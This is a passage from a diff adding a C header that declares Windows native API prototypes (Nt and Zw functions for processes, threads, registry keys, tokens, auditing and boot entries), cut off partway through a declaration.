+ +NTSTATUS +NTAPI +NtWaitForMultipleObjects32 ( + IN ULONG Count, + IN LONG Handles[], + IN WAIT_TYPE WaitType, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtSetSecurityObject ( + IN HANDLE Handle, + IN SECURITY_INFORMATION SecurityInformation, + IN PSECURITY_DESCRIPTOR SecurityDescriptor + ); + + +NTSTATUS +NTAPI +NtQuerySecurityObject ( + IN HANDLE Handle, + IN SECURITY_INFORMATION SecurityInformation, + OUT PSECURITY_DESCRIPTOR SecurityDescriptor, + IN ULONG Length, + OUT PULONG LengthNeeded + ); + + +NTSTATUS +NTAPI +NtClose ( + IN HANDLE Handle + ); + + +NTSTATUS +NTAPI +NtCreateDirectoryObject ( + OUT PHANDLE DirectoryHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtOpenDirectoryObject ( + OUT PHANDLE DirectoryHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtQueryDirectoryObject ( + IN HANDLE DirectoryHandle, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN BOOLEAN RestartScan, + IN OUT PULONG Context, + OUT PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtCreateSymbolicLinkObject ( + OUT PHANDLE LinkHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PUNICODE_STRING LinkTarget + ); + + +NTSTATUS +NTAPI +NtOpenSymbolicLinkObject ( + OUT PHANDLE LinkHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtQuerySymbolicLinkObject ( + IN HANDLE LinkHandle, + IN OUT PUNICODE_STRING LinkTarget, + OUT PULONG ReturnedLength + ); + + +NTSTATUS +NTAPI +NtGetPlugPlayEvent ( + IN HANDLE EventHandle, + IN OPTIONAL PVOID Context, + OUT PPLUGPLAY_EVENT_BLOCK EventBlock, + IN ULONG EventBufferSize + ); + + +NTSTATUS +NTAPI +NtPlugPlayControl( + IN PLUGPLAY_CONTROL_CLASS PnPControlClass, + IN OUT PVOID PnPControlData, + IN ULONG PnPControlDataLength + ); + + +NTSTATUS +NTAPI +NtPowerInformation( + IN POWER_INFORMATION_LEVEL InformationLevel, + IN OPTIONAL PVOID InputBuffer, + IN ULONG InputBufferLength, + OUT OPTIONAL PVOID OutputBuffer, + IN ULONG OutputBufferLength + ); + + +NTSTATUS +NTAPI +NtSetThreadExecutionState( + IN EXECUTION_STATE esFlags, // ES_xxx flags + OUT EXECUTION_STATE *PreviousFlags + ); + + +NTSTATUS +NTAPI +NtRequestWakeupLatency( + IN LATENCY_TIME latency + ); + + +// NTSTATUS +// NTAPI +// NtInitiatePowerAction( +// IN POWER_ACTION SystemAction, +// IN SYSTEM_POWER_STATE MinSystemState, +// IN ULONG Flags, // POWER_ACTION_xxx flags +// IN BOOLEAN Asynchronous +// ); + + +// NTSTATUS +// NTAPI +// NtSetSystemPowerState( +// IN POWER_ACTION SystemAction, +// IN SYSTEM_POWER_STATE MinSystemState, +// IN ULONG Flags // POWER_ACTION_xxx flags +// ); + + +// NTSTATUS +// NTAPI +// NtGetDevicePowerState( +// IN HANDLE Device, +// OUT DEVICE_POWER_STATE *State +// ); + + +NTSTATUS +NTAPI +NtCancelDeviceWakeupRequest( + IN HANDLE Device + ); + + +NTSTATUS +NTAPI +NtRequestDeviceWakeup( + IN HANDLE Device + ); + + +NTSTATUS +NTAPI +NtCreateProcess ( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN HANDLE ParentProcess, + IN BOOLEAN InheritObjectTable, + IN OPTIONAL HANDLE SectionHandle, + IN OPTIONAL HANDLE DebugPort, + IN OPTIONAL HANDLE ExceptionPort + ); + + +NTSTATUS +NTAPI +NtCreateProcessEx( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN HANDLE ParentProcess, + IN ULONG Flags, + IN OPTIONAL HANDLE SectionHandle, + IN OPTIONAL HANDLE DebugPort, + IN OPTIONAL HANDLE ExceptionPort, + IN ULONG JobMemberLevel + ); + + +NTSTATUS +NTAPI +NtOpenProcess ( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN OPTIONAL PCLIENT_ID ClientId + ); + + +NTSTATUS +NTAPI +NtTerminateProcess ( + IN OPTIONAL HANDLE ProcessHandle, + IN NTSTATUS ExitStatus + ); + + +NTSTATUS +NTAPI +NtQueryInformationProcess ( + IN HANDLE ProcessHandle, + IN PROCESSINFOCLASS ProcessInformationClass, + OUT PVOID ProcessInformation, + IN ULONG ProcessInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtGetNextProcess ( + IN HANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + IN ULONG Flags, + OUT PHANDLE NewProcessHandle + ); + + +NTSTATUS +NTAPI +NtGetNextThread ( + IN HANDLE ProcessHandle, + IN HANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + IN ULONG Flags, + OUT PHANDLE NewThreadHandle + ); + + +NTSTATUS +NTAPI +NtQueryPortInformationProcess ( + VOID + ); + + +NTSTATUS +NTAPI +NtSetInformationProcess ( + IN HANDLE ProcessHandle, + IN PROCESSINFOCLASS ProcessInformationClass, + IN PVOID ProcessInformation, + IN ULONG ProcessInformationLength + ); + + +NTSTATUS +NTAPI +NtCreateThread ( + OUT PHANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN HANDLE ProcessHandle, + OUT PCLIENT_ID ClientId, + IN PCONTEXT ThreadContext, + IN PINITIAL_TEB InitialTeb, + IN BOOLEAN CreateSuspended + ); + + +NTSTATUS +NTAPI +NtOpenThread ( + OUT PHANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN OPTIONAL PCLIENT_ID ClientId + ); + + +NTSTATUS +NTAPI +NtTerminateThread ( + IN OPTIONAL HANDLE ThreadHandle, + IN NTSTATUS ExitStatus + ); + + +NTSTATUS +NTAPI +NtSuspendThread ( + IN HANDLE ThreadHandle, + OUT OPTIONAL PULONG PreviousSuspendCount + ); + + +NTSTATUS +NTAPI +NtResumeThread ( + IN HANDLE ThreadHandle, + OUT OPTIONAL PULONG PreviousSuspendCount + ); + + +NTSTATUS +NTAPI +NtSuspendProcess ( + HANDLE ProcessHandle + ); + + +NTSTATUS +NTAPI +NtResumeProcess ( + IN HANDLE ProcessHandle + ); + + +NTSTATUS +NTAPI +NtGetContextThread ( + IN HANDLE ThreadHandle, + IN OUT PCONTEXT ThreadContext + ); + + +NTSTATUS +NTAPI +NtSetContextThread ( + IN HANDLE ThreadHandle, + IN PCONTEXT ThreadContext + ); + + +NTSTATUS +NTAPI +NtQueryInformationThread ( + IN HANDLE ThreadHandle, + IN THREADINFOCLASS ThreadInformationClass, + OUT PVOID ThreadInformation, + IN ULONG ThreadInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetInformationThread ( + IN HANDLE ThreadHandle, + IN THREADINFOCLASS ThreadInformationClass, + IN PVOID ThreadInformation, + IN ULONG ThreadInformationLength + ); + + +NTSTATUS +NTAPI +NtAlertThread ( + IN HANDLE ThreadHandle + ); + + +NTSTATUS +NTAPI +NtAlertResumeThread ( + IN HANDLE ThreadHandle, + OUT OPTIONAL PULONG PreviousSuspendCount + ); + + +NTSTATUS +NTAPI +NtImpersonateThread ( + IN HANDLE ServerThreadHandle, + IN HANDLE ClientThreadHandle, + IN PSECURITY_QUALITY_OF_SERVICE SecurityQos + ); + + +NTSTATUS +NTAPI +NtTestAlert ( + VOID + ); + + +NTSTATUS +NTAPI +NtRegisterThreadTerminatePort ( + IN HANDLE PortHandle + ); + + +NTSTATUS +NTAPI +NtSetLdtEntries ( + IN ULONG Selector0, + IN ULONG Entry0Low, + IN ULONG Entry0Hi, + IN ULONG Selector1, + IN ULONG Entry1Low, + IN ULONG Entry1Hi + ); + + +NTSTATUS +NTAPI +NtQueueApcThread ( + IN HANDLE ThreadHandle, + IN PPS_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcArgument1, + IN OPTIONAL PVOID ApcArgument2, + IN OPTIONAL PVOID ApcArgument3 + ); + + +NTSTATUS +NTAPI +NtCreateJobObject ( + OUT PHANDLE JobHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtOpenJobObject ( + OUT PHANDLE JobHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtAssignProcessToJobObject ( + IN HANDLE JobHandle, + IN HANDLE ProcessHandle + ); + + +NTSTATUS +NTAPI +NtTerminateJobObject ( + IN HANDLE JobHandle, + IN NTSTATUS ExitStatus + ); + + +NTSTATUS +NTAPI +NtIsProcessInJob ( + IN HANDLE ProcessHandle, + IN OPTIONAL HANDLE JobHandle + ); + + +NTSTATUS +NTAPI +NtCreateJobSet ( + IN ULONG NumJob, + IN PJOB_SET_ARRAY UserJobSet, + IN ULONG Flags + ); + + +NTSTATUS +NTAPI +NtQueryInformationJobObject ( + IN OPTIONAL HANDLE JobHandle, + IN JOBOBJECTINFOCLASS JobObjectInformationClass, + OUT PVOID JobObjectInformation, + IN ULONG JobObjectInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetInformationJobObject ( + IN HANDLE JobHandle, + IN JOBOBJECTINFOCLASS JobObjectInformationClass, + IN PVOID JobObjectInformation, + IN ULONG JobObjectInformationLength + ); + + +NTSTATUS +NTAPI +NtCreateKey( + OUT PHANDLE KeyHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + ULONG TitleIndex, + IN OPTIONAL PUNICODE_STRING Class, + IN ULONG CreateOptions, + OUT OPTIONAL PULONG Disposition + ); + + +NTSTATUS +NTAPI +NtDeleteKey( + IN HANDLE KeyHandle + ); + + +NTSTATUS +NTAPI +NtDeleteValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName + ); + + +NTSTATUS +NTAPI +NtEnumerateKey( + IN HANDLE KeyHandle, + IN ULONG Index, + IN KEY_INFORMATION_CLASS KeyInformationClass, + OUT OPTIONAL PVOID KeyInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + +NTSTATUS +NTAPI +NtEnumerateValueKey( + IN HANDLE KeyHandle, + IN ULONG Index, + IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + OUT OPTIONAL PVOID KeyValueInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + +NTSTATUS +NTAPI +NtFlushKey( + IN HANDLE KeyHandle + ); + + +NTSTATUS +NTAPI +NtInitializeRegistry( + IN USHORT BootCondition + ); + + +NTSTATUS +NTAPI +NtNotifyChangeKey( + IN HANDLE KeyHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG CompletionFilter, + IN BOOLEAN WatchTree, + OUT OPTIONAL PVOID Buffer, + IN ULONG BufferSize, + IN BOOLEAN Asynchronous + ); + + +NTSTATUS +NTAPI +NtNotifyChangeMultipleKeys( + IN HANDLE MasterKeyHandle, + IN OPTIONAL ULONG Count, + IN OPTIONAL OBJECT_ATTRIBUTES SlaveObjects[], + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG CompletionFilter, + IN BOOLEAN WatchTree, + OUT OPTIONAL PVOID Buffer, + IN ULONG BufferSize, + IN BOOLEAN Asynchronous + ); + + +NTSTATUS +NTAPI +NtLoadKey( + IN POBJECT_ATTRIBUTES TargetKey, + IN POBJECT_ATTRIBUTES SourceFile + ); + + +NTSTATUS +NTAPI +NtLoadKey2( + IN POBJECT_ATTRIBUTES TargetKey, + IN POBJECT_ATTRIBUTES SourceFile, + IN ULONG Flags + ); + + +NTSTATUS +NTAPI +NtLoadKeyEx( + IN POBJECT_ATTRIBUTES TargetKey, + IN POBJECT_ATTRIBUTES SourceFile, + IN ULONG Flags, + IN OPTIONAL HANDLE TrustClassKey + ); + + +NTSTATUS +NTAPI +NtOpenKey( + OUT PHANDLE KeyHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtQueryKey( + IN HANDLE KeyHandle, + IN KEY_INFORMATION_CLASS KeyInformationClass, + OUT OPTIONAL PVOID KeyInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + +NTSTATUS +NTAPI +NtQueryValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName, + IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + OUT OPTIONAL PVOID KeyValueInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + +NTSTATUS +NTAPI +NtQueryMultipleValueKey( + IN HANDLE KeyHandle, + IN OUT PKEY_VALUE_ENTRY ValueEntries, + IN ULONG EntryCount, + OUT PVOID ValueBuffer, + IN OUT PULONG BufferLength, + OUT OPTIONAL PULONG RequiredBufferLength + ); + + +NTSTATUS +NTAPI +NtReplaceKey( + IN POBJECT_ATTRIBUTES NewFile, + IN HANDLE TargetHandle, + IN POBJECT_ATTRIBUTES OldFile + ); + + +NTSTATUS +NTAPI +NtRenameKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING NewName + ); + + +NTSTATUS +NTAPI +NtCompactKeys( + IN ULONG Count, + IN HANDLE KeyArray[] + ); + + +NTSTATUS +NTAPI +NtCompressKey( + IN HANDLE Key + ); + + +NTSTATUS +NTAPI +NtRestoreKey( + IN HANDLE KeyHandle, + IN HANDLE FileHandle, + IN ULONG Flags + ); + + +NTSTATUS +NTAPI +NtSaveKey( + IN HANDLE KeyHandle, + IN HANDLE FileHandle + ); + + +NTSTATUS +NTAPI +NtSaveKeyEx( + IN HANDLE KeyHandle, + IN HANDLE FileHandle, + IN ULONG Format + ); + + +NTSTATUS +NTAPI +NtSaveMergedKeys( + IN HANDLE HighPrecedenceKeyHandle, + IN HANDLE LowPrecedenceKeyHandle, + IN HANDLE FileHandle + ); + + +NTSTATUS +NTAPI +NtSetValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName, + IN OPTIONAL ULONG TitleIndex, + IN ULONG Type, + IN OPTIONAL PVOID Data, + IN ULONG DataSize + ); + + +NTSTATUS +NTAPI +NtUnloadKey( + IN POBJECT_ATTRIBUTES TargetKey + ); + + +NTSTATUS +NTAPI +NtUnloadKey2( + IN POBJECT_ATTRIBUTES TargetKey, + IN ULONG Flags + ); + + +NTSTATUS +NTAPI +NtUnloadKeyEx( + IN POBJECT_ATTRIBUTES TargetKey, + IN OPTIONAL HANDLE Event + ); + + +NTSTATUS +NTAPI +NtSetInformationKey( + IN HANDLE KeyHandle, + IN KEY_SET_INFORMATION_CLASS KeySetInformationClass, + IN PVOID KeySetInformation, + IN ULONG KeySetInformationLength + ); + + +NTSTATUS +NTAPI +NtQueryOpenSubKeys( + IN POBJECT_ATTRIBUTES TargetKey, + OUT PULONG HandleCount + ); + + +NTSTATUS +NTAPI +NtQueryOpenSubKeysEx( + IN POBJECT_ATTRIBUTES TargetKey, + IN ULONG BufferLength, + OUT PVOID Buffer, + OUT PULONG RequiredSize + ); + + +NTSTATUS +NTAPI +NtLockRegistryKey( + IN HANDLE KeyHandle + ); + + +NTSTATUS +NTAPI +NtLockProductActivationKeys( + IN OUT OPTIONAL ULONG *pPrivateVer, + OUT OPTIONAL ULONG *pSafeMode + ); + + +NTSTATUS +NTAPI +NtAccessCheck ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN PGENERIC_MAPPING GenericMapping, + OUT PPRIVILEGE_SET PrivilegeSet, + IN OUT PULONG PrivilegeSetLength, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus + ); + + +NTSTATUS +NTAPI +NtAccessCheckByType ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + OUT PPRIVILEGE_SET PrivilegeSet, + IN OUT PULONG PrivilegeSetLength, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus + ); + + +NTSTATUS +NTAPI +NtAccessCheckByTypeResultList ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + OUT PPRIVILEGE_SET PrivilegeSet, + IN OUT PULONG PrivilegeSetLength, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus + ); + + +NTSTATUS +NTAPI +NtCreateToken( + OUT PHANDLE TokenHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN TOKEN_TYPE TokenType, + IN PLUID AuthenticationId, + IN PLARGE_INTEGER ExpirationTime, + IN PTOKEN_USER User, + IN PTOKEN_GROUPS Groups, + IN PTOKEN_PRIVILEGES Privileges, + IN OPTIONAL PTOKEN_OWNER Owner, + IN PTOKEN_PRIMARY_GROUP PrimaryGroup, + IN OPTIONAL PTOKEN_DEFAULT_DACL DefaultDacl, + IN PTOKEN_SOURCE TokenSource + ); + + +NTSTATUS +NTAPI +NtCompareTokens( + IN HANDLE FirstTokenHandle, + IN HANDLE SecondTokenHandle, + OUT PBOOLEAN Equal + ); + + +NTSTATUS +NTAPI +NtOpenThreadToken( + IN HANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN BOOLEAN OpenAsSelf, + OUT PHANDLE TokenHandle + ); + + +NTSTATUS +NTAPI +NtOpenThreadTokenEx( + IN HANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN BOOLEAN OpenAsSelf, + IN ULONG HandleAttributes, + OUT PHANDLE TokenHandle + ); + + +NTSTATUS +NTAPI +NtOpenProcessToken( + IN HANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + OUT PHANDLE TokenHandle + ); + + +NTSTATUS +NTAPI +NtOpenProcessTokenEx( + IN HANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + OUT PHANDLE TokenHandle + ); + + +NTSTATUS +NTAPI +NtDuplicateToken( + IN HANDLE ExistingTokenHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN BOOLEAN EffectiveOnly, + IN TOKEN_TYPE TokenType, + OUT PHANDLE NewTokenHandle + ); + + +NTSTATUS +NTAPI +NtFilterToken ( + IN HANDLE ExistingTokenHandle, + IN ULONG Flags, + IN OPTIONAL PTOKEN_GROUPS SidsToDisable, + IN OPTIONAL PTOKEN_PRIVILEGES PrivilegesToDelete, + IN OPTIONAL PTOKEN_GROUPS RestrictedSids, + OUT PHANDLE NewTokenHandle + ); + + +NTSTATUS +NTAPI +NtImpersonateAnonymousToken( + IN HANDLE ThreadHandle + ); + + +NTSTATUS +NTAPI +NtQueryInformationToken ( + IN HANDLE TokenHandle, + IN TOKEN_INFORMATION_CLASS TokenInformationClass, + OUT PVOID TokenInformation, + IN ULONG TokenInformationLength, + OUT PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetInformationToken ( + IN HANDLE TokenHandle, + IN TOKEN_INFORMATION_CLASS TokenInformationClass, + IN PVOID TokenInformation, + IN ULONG TokenInformationLength + ); + + +NTSTATUS +NTAPI +NtAdjustPrivilegesToken ( + IN HANDLE TokenHandle, + IN BOOLEAN DisableAllPrivileges, + IN OPTIONAL PTOKEN_PRIVILEGES NewState, + IN OPTIONAL ULONG BufferLength, + OUT PTOKEN_PRIVILEGES PreviousState, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtAdjustGroupsToken ( + IN HANDLE TokenHandle, + IN BOOLEAN ResetToDefault, + IN PTOKEN_GROUPS NewState , + IN OPTIONAL ULONG BufferLength , + OUT PTOKEN_GROUPS PreviousState , + OUT PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtPrivilegeCheck ( + IN HANDLE ClientToken, + IN OUT PPRIVILEGE_SET RequiredPrivileges, + OUT PBOOLEAN Result + ); + + +NTSTATUS +NTAPI +NtAccessCheckAndAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN ACCESS_MASK DesiredAccess, + IN PGENERIC_MAPPING GenericMapping, + IN BOOLEAN ObjectCreation, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus, + OUT PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtAccessCheckByTypeAndAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN ACCESS_MASK DesiredAccess, + IN AUDIT_EVENT_TYPE AuditType, + IN ULONG Flags, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + IN BOOLEAN ObjectCreation, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus, + OUT PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtAccessCheckByTypeResultListAndAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN ACCESS_MASK DesiredAccess, + IN AUDIT_EVENT_TYPE AuditType, + IN ULONG Flags, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + IN BOOLEAN ObjectCreation, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus, + OUT PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtAccessCheckByTypeResultListAndAuditAlarmByHandle ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN HANDLE ClientToken, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN ACCESS_MASK DesiredAccess, + IN AUDIT_EVENT_TYPE AuditType, + IN ULONG Flags, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + IN BOOLEAN ObjectCreation, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus, + OUT PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtOpenObjectAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN OPTIONAL PSECURITY_DESCRIPTOR SecurityDescriptor, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN ACCESS_MASK GrantedAccess, + IN OPTIONAL PPRIVILEGE_SET Privileges, + IN BOOLEAN ObjectCreation, + IN BOOLEAN AccessGranted, + OUT PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtPrivilegeObjectAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN PPRIVILEGE_SET Privileges, + IN BOOLEAN AccessGranted + ); + + +NTSTATUS +NTAPI +NtCloseObjectAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN BOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtDeleteObjectAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN BOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtPrivilegedServiceAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN PUNICODE_STRING ServiceName, + IN HANDLE ClientToken, + IN PPRIVILEGE_SET Privileges, + IN BOOLEAN AccessGranted + ); + + +NTSTATUS +NTAPI +NtContinue ( + IN PCONTEXT ContextRecord, + IN BOOLEAN TestAlert + ); + + +NTSTATUS +NTAPI +NtRaiseException ( + IN PEXCEPTION_RECORD ExceptionRecord, + IN PCONTEXT ContextRecord, + IN BOOLEAN FirstChance + ); + +// end_ntapi + + +// begin_zwapi +NTSTATUS +NTAPI +ZwDelayExecution ( + IN BOOLEAN Alertable, + IN PLARGE_INTEGER DelayInterval + ); + + + +NTSTATUS +NTAPI +ZwQuerySystemEnvironmentValue ( + IN PUNICODE_STRING VariableName, + OUT PWSTR VariableValue, + IN USHORT ValueLength, + OUT OPTIONAL PUSHORT ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetSystemEnvironmentValue ( + IN PUNICODE_STRING VariableName, + IN PUNICODE_STRING VariableValue + ); + + + +NTSTATUS +NTAPI +ZwQuerySystemEnvironmentValueEx ( + IN PUNICODE_STRING VariableName, + IN LPGUID VendorGuid, + OUT OPTIONAL PVOID Value, + IN OUT PULONG ValueLength, + OUT OPTIONAL PULONG Attributes + ); + + + +NTSTATUS +NTAPI +ZwSetSystemEnvironmentValueEx ( + IN PUNICODE_STRING VariableName, + IN LPGUID VendorGuid, + IN OPTIONAL PVOID Value, + IN ULONG ValueLength, + IN ULONG Attributes + ); + + + +NTSTATUS +NTAPI +ZwEnumerateSystemEnvironmentValuesEx ( + IN ULONG InformationClass, + OUT PVOID Buffer, + IN OUT PULONG BufferLength + ); + + + +NTSTATUS +NTAPI +ZwAddBootEntry ( + IN PBOOT_ENTRY BootEntry, + OUT OPTIONAL PULONG Id + ); + + + +NTSTATUS +NTAPI +ZwDeleteBootEntry ( + IN ULONG Id + ); + + + +NTSTATUS +NTAPI +ZwModifyBootEntry ( + IN PBOOT_ENTRY BootEntry + ); + + + +NTSTATUS +NTAPI +ZwEnumerateBootEntries ( + OUT OPTIONAL PVOID Buffer, + IN OUT PULONG BufferLength + ); + + + +NTSTATUS +NTAPI +ZwQueryBootEntryOrder ( + OUT OPTIONAL PULONG Ids, + IN OUT PULONG Count + ); + + + +NTSTATUS +NTAPI +ZwSetBootEntryOrder ( + IN PULONG Ids, + IN ULONG Count + ); + + + +NTSTATUS +NTAPI +ZwQueryBootOptions ( + OUT OPTIONAL PBOOT_OPTIONS BootOptions, + IN OUT PULONG BootOptionsLength + ); + + + +NTSTATUS +NTAPI +ZwSetBootOptions ( + IN PBOOT_OPTIONS BootOptions, + IN ULONG FieldsToChange + ); + + + +NTSTATUS +NTAPI +ZwTranslateFilePath ( + IN PFILE_PATH InputFilePath, + IN ULONG OutputType, + OUT OPTIONAL PFILE_PATH OutputFilePath, + IN OUT OPTIONAL PULONG OutputFilePathLength + ); + + + +NTSTATUS +NTAPI +ZwAddDriverEntry ( + IN PEFI_DRIVER_ENTRY DriverEntry, + OUT OPTIONAL PULONG Id + ); + + + +NTSTATUS +NTAPI +ZwDeleteDriverEntry ( + IN ULONG Id + ); + + + +NTSTATUS +NTAPI +ZwModifyDriverEntry ( + IN PEFI_DRIVER_ENTRY DriverEntry + ); + + + +NTSTATUS +NTAPI +ZwEnumerateDriverEntries ( + OUT PVOID Buffer, + IN OUT PULONG BufferLength + ); + + + +NTSTATUS +NTAPI +ZwQueryDriverEntryOrder ( + OUT PULONG Ids, + IN OUT PULONG Count + ); + + + +NTSTATUS +NTAPI +ZwSetDriverEntryOrder ( + IN PULONG Ids, + IN ULONG Count + ); + + + +NTSTATUS +NTAPI +ZwClearEvent ( + IN HANDLE EventHandle + ); + + + +NTSTATUS +NTAPI +ZwCreateEvent ( + OUT PHANDLE EventHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN EVENT_TYPE EventType, + IN BOOLEAN InitialState + ); + + + +NTSTATUS +NTAPI +ZwOpenEvent ( + OUT PHANDLE EventHandle, + IN 